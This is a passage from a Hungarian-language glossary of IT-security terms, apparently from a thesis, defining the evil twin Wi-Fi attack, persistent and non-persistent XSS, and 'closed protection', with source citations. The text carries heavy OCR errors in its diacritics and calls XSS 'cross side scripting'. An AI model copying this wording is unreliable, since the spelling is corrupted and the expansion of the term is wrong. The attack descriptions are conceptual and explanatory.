bad frekvenciatartomanyt hasznal6 rendszer atviteli sebessége nagymértékben fligg a radio-
hullamok terjedési kdrnyezetétdl (akadalyok, tavolsag). [22]

Wireless evil twin timadas: A felhasznald szamitogépének wifi beéllitdsai modosulnak ugy,
hogy a tdmado altal iizemeltetett Wi-Fi halézathoz kapcsolodjon. fgy minden halézati kom-
munikécidt rogziteni képes a tamado, melybdl késébb barmilyen adatot kinyerhet. [22]
XSS: A rovidités a cross side scripting kifejezéssel oldhato fel. Magyarul oldalakon keresztiil
végrehajtott kozvetett szkripthivas. A tdmadok célja, hogy egy kartékony szkriptet futtas-
sanak le a célgépen. Létezik perzisztens €s nem perzisztens fajtdja. Ez utébbi alkalmaval
a kartékony kod az URL-be kertil beillesztésre, mely rakattintas esetén lefut és elvégzi a
felhasznal6 altal nem kivant tevékenységet. Az értd szemnek valdszintileg feltlinik, hogy a
,»script” kifejezést, vagy példaul a javas scriptre utalo ,,.js” kifejezés el van bujtatva az URL-
ben. Tipikusan phishing tdmadasoknal alkalmazhato jo. A perzisztens valtozat sordn magan
a webszerveren helyezik el a szkriptet, mely egy weboldal minden megtekintésénél igy lefut.
Az ilyen modon torténd rosszindulatih kodsor elhelyezésre példa a nem megfeleld beviteli
védelemmel ellatott blogoldalak bejegyzései adnak lehetdséget. [22]

Zart védelem: Az 6sszes szamitasba vehetd fenyegetést figyelembe vevo védelem. [5]
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